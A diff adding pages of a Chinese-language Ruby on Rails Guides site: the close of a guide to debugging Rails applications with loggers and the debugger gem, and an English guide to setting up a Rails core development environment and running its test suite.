+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

调试 Rails 程序

本文介绍如何调试 Rails 程序。

读完本文,你将学到:

+
    +
  • 调试的目的;
  • +
  • 如何追查测试没有发现的问题;
  • +
  • 不同的调试方法;
  • +
  • 如何分析调用堆栈;
  • +
+ + + + +
+
+ +
+
+
+

1 调试相关的视图帮助方法

调试一个常见的需求是查看变量的值。在 Rails 中,可以使用下面这三个方法:

+
    +
  • debug
  • +
  • to_yaml
  • +
  • inspect
  • +
+

1.1 debug +

debug 方法使用 YAML 格式渲染对象,把结果包含在 <pre> 标签中,可以把任何对象转换成人类可读的数据格式。例如,在视图中有以下代码:

+
+<%= debug @post %>
+<p>
+  <b>Title:</b>
+  <%= @post.title %>
+</p>
+
+
+
+

渲染后会看到如下结果:

+
+--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: "1"
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+
+
+
+

1.2 to_yaml +

使用 YAML 格式显示实例变量、对象的值或者方法的返回值,可以这么做:

+
+<%= simple_format @post.to_yaml %>
+<p>
+  <b>Title:</b>
+  <%= @post.title %>
+</p>
+
+
+
+

to_yaml 方法把对象转换成可读性较好地 YAML 格式,simple_format 方法按照终端中的方式渲染每一行。debug 方法就是包装了这两个步骤。

上述代码在渲染后的页面中会显示如下内容:

+
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+
+
+
+

1.3 inspect +

另一个用于显示对象值的方法是 inspect,显示数组和 Hash 时使用这个方法特别方便。inspect 方法以字符串的形式显示对象的值。例如:

+
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+  <b>Title:</b>
+  <%= @post.title %>
+</p>
+
+
+
+

渲染后得到的结果如下:

+
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+
+
+
+

2 Logger

运行时把信息写入日志文件也很有用。Rails 分别为各运行环境都维护着单独的日志文件。

2.1 Logger 是什么

Rails 使用 ActiveSupport::Logger 类把信息写入日志。当然也可换用其他代码库,比如 Log4r

替换日志代码库可以在 environment.rb 或其他环境文件中设置:

+
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+
+
+
+

默认情况下,日志文件都保存在 Rails.root/log/ 文件夹中,日志文件名为 environment_name.log

2.2 日志等级

如果消息的日志等级等于或高于设定的等级,就会写入对应的日志文件中。如果想知道当前的日志等级,可以调用 Rails.logger.level 方法。

可用的日志等级包括::debug:info:warn:error:fatal:unknown,分别对应数字 0-5。修改默认日志等级的方式如下:

+
+config.log_level = :warn # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+
+
+
+

这么设置在开发环境和交付准备环境中很有用,在生产环境中则不会写入大量不必要的信息。

Rails 所有环境的默认日志等级是 debug

2.3 写日志

把消息写入日志文件可以在控制器、模型或邮件发送程序中调用 logger.(debug|info|warn|error|fatal) 方法。

+
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+
+
+
+

下面这个例子增加了额外的写日志功能:

+
+class PostsController < ApplicationController
+  # ...
+
+  def create
+    @post = Post.new(params[:post])
+    logger.debug "New post: #{@post.attributes.inspect}"
+    logger.debug "Post should be valid: #{@post.valid?}"
+
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      logger.debug "The post was saved and now the user is going to be redirected..."
+      redirect_to(@post)
+    else
+      render action: "new"
+    end
+  end
+
+  # ...
+end
+
+
+
+

执行上述动作后得到的日志如下:

+
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+  Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+
+
+
+

加入这种日志信息有助于发现异常现象。如果添加了额外的日志消息,记得要合理设定日志等级,免得把大量无用的消息写入生产环境的日志文件。

2.4 日志标签

运行多用户/多账户的程序时,使用自定义的规则筛选日志信息能节省很多时间。Active Support 中的 TaggedLogging 模块可以实现这种功能,可以在日志消息中加入二级域名、请求 ID 等有助于调试的信息。

+
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" }                            # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" }                   # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+
+
+
+

2.5 日志对性能的影响

如果把日志写入硬盘,肯定会对程序有点小的性能影响。不过可以做些小调整::debug 等级比 :fatal 等级对性能的影响更大,因为写入的日志消息量更多。

如果按照下面的方式大量调用 Logger,也有潜在的问题:

+
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+
+
+
+

在上述代码中,即使日志等级不包含 :debug 也会对性能产生影响。因为 Ruby 要初始化字符串,再花时间做插值。因此推荐把代码块传给 logger 方法,只有等于或大于设定的日志等级时才会执行其中的代码。重写后的代码如下:

+
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+
+
+
+

代码块中的内容,即字符串插值,仅当允许 :debug 日志等级时才会执行。这种降低性能的方式只有在日志量比较大时才能体现出来,但却是个好的编程习惯。

3 使用 debugger gem 调试

如果代码表现异常,可以在日志文件或者控制台查找原因。但有时使用这种方法效率不高,无法找到导致问题的根源。如果需要检查源码,debugger gem 可以助你一臂之力。

如果想学习 Rails 源码但却无从下手,也可使用 debugger gem。随便找个请求,然后按照这里介绍的方法,从你编写的代码一直研究到 Rails 框架的代码。

3.1 安装

debugger gem 可以设置断点,实时查看执行的 Rails 代码。安装方法如下:

+
+$ gem install debugger
+
+
+
+

从 2.0 版本开始,Rails 内置了调试功能。在任何 Rails 程序中都可以使用 debugger 方法调出调试器。

下面举个例子:

+
+class PeopleController < ApplicationController
+  def new
+    debugger
+    @person = Person.new
+  end
+end
+
+
+
+

然后就能在控制台或者日志中看到如下信息:

+
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+
+
+
+

记得启动服务器时要加上 --debugger 选项:

+
+$ rails server --debugger
+=> Booting WEBrick
+=> Rails 4.2.0 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+
+
+
+

在开发环境中,如果启动服务器时没有指定 --debugger 选项,不用重启服务器,加入 require "debugger" 即可。

3.2 Shell

在程序中调用 debugger 方法后,会在启动程序所在的终端窗口中启用调试器 shell,并进入调试器的终端 (rdb:n) 中。其中 n 是线程编号。在调试器的终端中会显示接下来要执行哪行代码。

如果在浏览器中执行的请求触发了调试器,当前浏览器选项卡会处于停顿状态,等待调试器启动,跟踪完整个请求。

例如:

+
+@posts = Post.all
+(rdb:7)
+
+
+
+

现在可以深入分析程序的代码了。首先我们来查看一下调试器的帮助信息,输入 help

+
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where
+
+
+
+

要想查看某个命令的帮助信息,可以在终端里输入 help <command-name>,例如 help var

接下来要学习最有用的命令之一:list。调试器中的命令可以使用简写形式,只要输入的字母数量足够和其他命令区分即可。因此,可使用 l 代替 list

list 命令输出当前执行代码的前后 5 行代码。下面的例子中,当前行是第 6 行,前面用 => 符号标记。

+
+(rdb:7) list
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+=> 6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render json: @posts }
+
+
+
+

如果再次执行 list 命令,请用 l 试试。接下来要执行的 10 行代码会显示出来:

+
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.json
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb
+
+
+
+

可以一直这么执行下去,直到文件的末尾。如果到文件末尾了,list 命令会回到该文件的开头,再次从头开始执行一遍,把文件视为一个环形缓冲。

如果想查看前面 10 行代码,可以输入 list-(或者 l-):

+
+(rdb:7) l-
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+   6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render json: @posts }
+
+
+
+

使用 list 命令可以在文件中来回移动,查看 debugger 方法所在位置前后的代码。如果想知道 debugger 方法在文件的什么位置,可以输入 list=

+
+(rdb:7) list=
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.json
+   4    def index
+   5      debugger
+=> 6      @posts = Post.all
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.json { render json: @posts }
+
+
+
+

3.3 上下文

开始调试程序时,会进入堆栈中不同部分对应的不同上下文。

到达一个停止点或者触发某个事件时,调试器就会创建一个上下文。上下文中包含被终止程序的信息,调试器用这些信息审查调用帧,计算变量的值,以及调试器在程序的什么地方终止执行。

任何时候都可执行 backtrace 命令(简写形式为 where)显示程序的调用堆栈。这有助于理解如何执行到当前位置。只要你想知道程序是怎么执行到当前代码的,就可以通过 backtrace 命令获得答案。

+
+(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+
+
+
+

执行 frame n 命令可以进入指定的调用帧,其中 n 为帧序号。

+
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+
+
+
+

可用的变量和逐行执行代码时一样。毕竟,这就是调试的目的。

向前或向后移动调用帧可以执行 up [n](简写形式为 u)和 down [n] 命令,分别向前或向后移动 n 帧。n 的默认值为 1。向前移动是指向更高的帧数移动,向下移动是指向更低的帧数移动。

3.4 线程

thread 命令(缩略形式为 th)可以列出所有线程,停止线程,恢复线程,或者在线程之间切换。其选项如下:

+
    +
  • +thread:显示当前线程;
  • +
  • +thread list:列出所有线程及其状态,+ 符号和数字表示当前线程;
  • +
  • +thread stop n:停止线程 n
  • +
  • +thread resume n:恢复线程 n
  • +
  • +thread switch n:把当前线程切换到线程 n
  • +
+

thread 命令有很多作用。调试并发线程时,如果想确认代码中没有条件竞争,使用这个命令十分方便。

3.5 审查变量

任何表达式都可在当前上下文中运行。如果想计算表达式的值,直接输入表达式即可。

下面这个例子说明如何查看在当前上下文中 instance_variables 的值:

+
+@posts = Post.all
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+
+
+
+

你可能已经看出来了,在控制器中可使用的所有实例变量都显示出来了。这个列表随着代码的执行会动态更新。例如,使用 next 命令执行下一行代码:

+
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+
+
+
+

然后再查看 instance_variables 的值:

+
+(rdb:11) instance_variables.include? "@posts"
+true
+
+
+
+

实例变量中出现了 @posts,因为执行了定义这个变量的代码。

执行 irb 命令可进入 irb 模式,irb 会话使用当前上下文。警告:这是实验性功能。

var 命令是显示变量值最便捷的方式:

+
+var
+(rdb:1) v[ar] const <object>            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables
+
+
+
+

上述方法可以很轻易的查看当前上下文中的变量值。例如:

+
+(rdb:9) var local
+  __dbg_verbose_save => false
+
+
+
+

审查对象的方法可以使用下述方式:

+
+(rdb:9) var instance Post.new
+@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+@attributes_cache = {}
+@new_record = true
+
+
+
+

命令 p(print,打印)和 pp(pretty print,精美格式化打印)可用来执行 Ruby 表达式并把结果显示在终端里。

display 命令可用来监视变量,查看在代码执行过程中变量值的变化:

+
+(rdb:1) display @recent_comments
+1: @recent_comments =
+
+
+
+

display 命令后跟的变量值会随着执行堆栈的推移而变化。如果想停止显示变量值,可以执行 undisplay n 命令,其中 n 是变量的代号,在上例中是 1

3.6 逐步执行

现在你知道在运行代码的什么位置,以及如何查看变量的值。下面我们继续执行程序。

step 命令(缩写形式为 s)可以一直执行程序,直到下一个逻辑停止点,再把控制权交给调试器。

step+ nstep- n 可以相应的向前或向后 n 步。

next 命令的作用和 step 命令类似,但执行的方法不会停止。和 step 命令一样,也可使用加号前进 n 步。

next 命令和 step 命令的区别是,step 命令会在执行下一行代码之前停止,一次只执行一步;next 命令会执行下一行代码,但不跳出方法。

例如,下面这段代码调用了 debugger 方法:

+
+class Author < ActiveRecord::Base
+  has_one :editorial
+  has_many :comments
+
+  def find_recent_comments(limit = 10)
+    debugger
+    @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+  end
+end
+
+
+
+

在控制台中也可启用调试器,但要记得在调用 debugger 方法之前先 require "debugger"

+
+$ rails console
+Loading development environment (Rails 4.2.0)
+>> require "debugger"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+
+
+
+

停止执行代码时,看一下输出:

+
+(rdb:1) list
+[2, 9] in /PathTo/project/app/models/author.rb
+   2    has_one :editorial
+   3    has_many :comments
+   4
+   5    def find_recent_comments(limit = 10)
+   6      debugger
+=> 7      @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
+   8    end
+   9  end
+
+
+
+

在方法内的最后一行停止了。但是这行代码执行了吗?你可以审查一下实例变量。

+
+(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+
+
+
+

@recent_comments 还未定义,所以这行代码还没执行。执行 next 命令执行这行代码:

+
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+@recent_comments
+(rdb:1) var instance
+@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+@attributes_cache = {}
+@comments = []
+@recent_comments = []
+
+
+
+

现在看以看到,因为执行了这行代码,所以加载了 @comments 关联,也定义了 @recent_comments

如果想深入方法和 Rails 代码执行堆栈,可以使用 step 命令,一步一步执行。这是发现代码问题(或者 Rails 框架问题)最好的方式。

3.7 断点

断点设置在何处终止执行代码。调试器会在断点设定行调用。

断点可以使用 break 命令(缩写形式为 b)动态添加。设置断点有三种方式:

+
    +
  • +break line:在当前源码文件的第 line 行设置断点;
  • +
  • +break file:line [if expression]:在文件 file 的第 line 行设置断点。如果指定了表达式 expression,其返回结果必须为 true 才会启动调试器;
  • +
  • +break class(.|\#)method [if expression]:在 class 类的 method 方法中设置断点,.\# 分别表示类和实例方法。表达式 expression 的作用和上个命令一样;
  • +
+
+
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+
+
+
+

info breakpoints ninfo break n 命令可以列出断点。如果指定了数字 n,只会列出对应的断点,否则列出所有断点。

+
+(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10
+
+
+
+

如果想删除断点,可以执行 delete n 命令,删除编号为 n 的断点。如果不指定数字 n,则删除所有在用的断点。

+
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+
+
+
+

启用和禁用断点的方法如下:

+
    +
  • +enable breakpoints:允许使用指定的断点列表或者所有断点终止执行程序。这是创建断点后的默认状态。
  • +
  • +disable breakpoints:指定的断点 breakpoints 在程序中不起作用。
  • +
+

3.8 捕获异常

catch exception-name 命令(或 cat exception-name)可捕获 exception-name 类型的异常,源码很有可能没有处理这个异常。

执行 catch 命令可以列出所有可用的捕获点。

3.9 恢复执行

有两种方法可以恢复被调试器终止执行的程序:

+
    +
  • +continue [line-specification](或 c):从停止的地方恢复执行程序,设置的断点失效。可选的参数 line-specification 指定一个代码行数,设定一个一次性断点,程序执行到这一行时,断点会被删除。
  • +
  • +finish [frame-number](或 fin):一直执行程序,直到指定的堆栈帧结束为止。如果没有指定 frame-number 参数,程序会一直执行,直到当前堆栈帧结束为止。当前堆栈帧就是最近刚使用过的帧,如果之前没有移动帧的位置(执行 updownframe 命令),就是第 0 帧。如果指定了帧数,则运行到指定的帧结束为止。
  • +
+

3.10 编辑

下面两种方法可以从调试器中使用编辑器打开源码:

+
    +
  • +edit [file:line]:使用环境变量 EDITOR 指定的编辑器打开文件 file。还可指定文件的行数(line)。
  • +
  • +tmate n(简写形式为 tm):在 TextMate 中打开当前文件。如果指定了参数 n,则使用第 n 帧。
  • +
+

3.11 退出

要想退出调试器,请执行 quit 命令(缩写形式为 q),或者别名 exit

退出后会终止所有线程,所以服务器也会被停止,因此需要重启。

3.12 设置

debugger gem 能自动显示你正在分析的代码,在编辑器中修改代码后,还会重新加载源码。下面是可用的选项:

+
    +
  • +set reload:修改代码后重新加载;
  • +
  • +set autolist:在每个断点处执行 list 命令;
  • +
  • +set listsize n:设置显示 n 行源码;
  • +
  • +set forcestep:强制 nextstep 命令移到终点后的下一行;
  • +
+

执行 help set 命令可以查看完整说明。执行 help set subcommand 可以查看 subcommand 的帮助信息。

设置可以保存到家目录中的 .rdebugrc 文件中。启动调试器时会读取这个文件中的全局设置。

下面是 .rdebugrc 文件示例:

+
+set autolist
+set forcestep
+set listsize 25
+
+
+
+

4 调试内存泄露

Ruby 程序(Rails 或其他)可能会导致内存泄露,泄露可能由 Ruby 代码引起,也可能由 C 代码引起。

本节介绍如何使用 Valgrind 等工具查找并修正内存泄露问题。

4.1 Valgrind

Valgrind 这个程序只能在 Linux 系统中使用,用于侦察 C 语言层的内存泄露和条件竞争。

Valgrind 提供了很多工具,可用来侦察内存管理和线程问题,也能详细分析程序。例如,如果 C 扩展调用了 malloc() 函数,但没调用 free() 函数,这部分内存就会一直被占用,直到程序结束。

关于如何安装 Valgrind 及在 Ruby 中使用,请阅读 Evan Weaver 编写的 Valgrind and Ruby 一文。

5 用于调试的插件

有很多 Rails 插件可以帮助你查找问题和调试程序。下面列出一些常用的调试插件:

+
    +
  • +Footnotes:在程序的每个页面底部显示请求信息,并链接到 TextMate 中的源码;
  • +
  • +Query Trace:在日志中写入请求源信息;
  • +
  • +Query Reviewer:这个 Rails 插件在开发环境中会在每个 SELECT 查询前执行 EXPLAIN 查询,并在每个页面中添加一个 div 元素,显示分析到的查询问题;
  • +
  • +Exception Notifier:提供了一个邮件发送程序和一组默认的邮件模板,Rails 程序出现问题后发送邮件提醒;
  • +
  • +Better Errors:使用全新的页面替换 Rails 默认的错误页面,显示更多的上下文信息,例如源码和变量的值;
  • +
  • +RailsPanel:一个 Chrome 插件,在浏览器的开发者工具中显示 development.log 文件的内容,显示的内容包括:数据库查询时间,渲染时间,总时间,参数列表,渲染的视图等。
  • +
+

6 参考资源

+ + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/development_dependencies_install.html b/v4.1/development_dependencies_install.html new file mode 100644 index 0000000..25a15a7 --- /dev/null +++ b/v4.1/development_dependencies_install.html @@ -0,0 +1,488 @@ + + + + + + + +Development Dependencies Install — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Development Dependencies Install

This guide covers how to setup an environment for Ruby on Rails core development.

After reading this guide, you will know:

+
    +
  • How to set up your machine for Rails development
  • +
  • How to run specific groups of unit tests from the Rails test suite
  • +
  • How the ActiveRecord portion of the Rails test suite operates
  • +
+ + + + +
+
+ +
+
+
+

1 The Easy Way

The easiest and recommended way to get a development environment ready to hack is to use the Rails development box.

2 The Hard Way

In case you can't use the Rails development box, see section above, these are the steps to manually build a development box for Ruby on Rails core development.

2.1 Install Git

Ruby on Rails uses Git for source code control. The Git homepage has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:

+
    +
  • +Try Git course is an interactive course that will teach you the basics.
  • +
  • The official Documentation is pretty comprehensive and also contains some videos with the basics of Git
  • +
  • +Everyday Git will teach you just enough about Git to get by.
  • +
  • The PeepCode screencast on Git is easier to follow.
  • +
  • +GitHub offers links to a variety of Git resources.
  • +
  • +Pro Git is an entire book about Git with a Creative Commons license.
  • +
+

2.2 Clone the Ruby on Rails Repository

Navigate to the folder where you want the Ruby on Rails source code (it will create its own rails subdirectory) and run:

+
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+
+
+
+

2.3 Set up and Run the Tests

The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.

Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's

+
+$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+
+
+
+

If you are on Fedora or CentOS, you can run

+
+$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+
+
+
+

If you are running Arch Linux, you're done with:

+
+$ sudo pacman -S libxml2 libxslt
+
+
+
+

On FreeBSD, you just have to run:

+
+# pkg_add -r libxml2 libxslt
+
+
+
+

Alternatively, you can install the textproc/libxml2 and textproc/libxslt +ports.

If you have any problems with these libraries, you can install them manually by compiling the source code. Just follow the instructions at the Red Hat/CentOS section of the Nokogiri tutorials .

Also, SQLite3 and its development files for the sqlite3-ruby gem - in Ubuntu you're done with just

+
+$ sudo apt-get install sqlite3 libsqlite3-dev
+
+
+
+

And if you are on Fedora or CentOS, you're done with

+
+$ sudo yum install sqlite3 sqlite3-devel
+
+
+
+

If you are on Arch Linux, you will need to run:

+
+$ sudo pacman -S sqlite
+
+
+
+

For FreeBSD users, you're done with:

+
+# pkg_add -r sqlite3
+
+
+
+

Or compile the databases/sqlite3 port.

Get a recent version of Bundler

+
+$ gem install bundler
+$ gem update bundler
+
+
+
+

and run:

+
+$ bundle install --without db
+
+
+
+

This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon.

If you would like to run the tests that use memcached, you need to ensure that you have it installed and running.

You can use Homebrew to install memcached on OSX:

+
+$ brew install memcached
+
+
+
+

On Ubuntu you can install it with apt-get:

+
+$ sudo apt-get install memcached
+
+
+
+

Or use yum on Fedora or CentOS:

+
+$ sudo yum install memcached
+
+
+
+

With the dependencies now installed, you can run the test suite with:

+
+$ bundle exec rake test
+
+
+
+

You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:

+
+$ cd actionpack
+$ bundle exec rake test
+
+
+
+

If you want to run the tests located in a specific directory use the TEST_DIR environment variable. For example, this will run the tests in the railties/test/generators directory only:

+
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+
+
+
+

You can run the tests for a particular file by using:

+
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+
+
+
+

Or, you can run a single test in a particular file:

+
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+
+
+
+

2.4 Active Record Setup

The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (mysql and mysql2), and once for PostgreSQL. We are going to see now how to set up the environment for them.

If you're working with Active Record code, you must ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.

2.4.1 Database Configuration

The Active Record test suite requires a custom config file: activerecord/test/config.yml. An example is provided in activerecord/test/config.example.yml which can be copied and used as needed for your environment.

2.4.2 MySQL and PostgreSQL

To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run

+
+$ sudo apt-get install mysql-server libmysqlclient15-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+
+
+
+

On Fedora or CentOS, just run:

+
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+
+
+
+

If you are running Arch Linux, MySQL isn't supported anymore so you will need to +use MariaDB instead (see this announcement):

+
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+
+
+
+

FreeBSD users will have to run the following:

+
+# pkg_add -r mysql56-client mysql56-server
+# pkg_add -r postgresql92-client postgresql92-server
+
+
+
+

You can use Homebrew to install MySQL and PostgreSQL on OSX:

+
+$ brew install mysql
+$ brew install postgresql
+
+
+
+

Follow instructions given by Homebrew to start these.

Or install them through ports (they are located under the databases folder). +If you run into troubles during the installation of MySQL, please see +the MySQL documentation.

After that, run:

+
+$ rm .bundle/config
+$ bundle install
+
+
+
+

First, we need to delete .bundle/config because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).

In order to be able to run the test suite against MySQL you need to create a user named rails with privileges on the test databases:

+
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+       to 'rails'@'localhost';
+
+
+
+

and create the test databases:

+
+$ cd activerecord
+$ bundle exec rake db:mysql:build
+
+
+
+

PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account +This is not needed when installed via Homebrew.

+
+$ sudo -u postgres createuser --superuser $USER
+
+
+
+

And for OS X (when installed via Homebrew) +bash +$ createuser --superuser $USER +

and then create the test databases with

+
+$ cd activerecord
+$ bundle exec rake db:postgresql:build
+
+
+
+

It is possible to build databases for both PostgreSQL and MySQL with

+
+$ cd activerecord
+$ bundle exec rake db:create
+
+
+
+

You can cleanup the databases using

+
+$ cd activerecord
+$ bundle exec rake db:drop
+
+
+
+

Using the rake task to create the test databases ensures they have the correct character set and collation.

You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".

If you're using another database, check the file activerecord/test/config.yml or activerecord/test/config.example.yml for default connection information. You can edit activerecord/test/config.yml to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
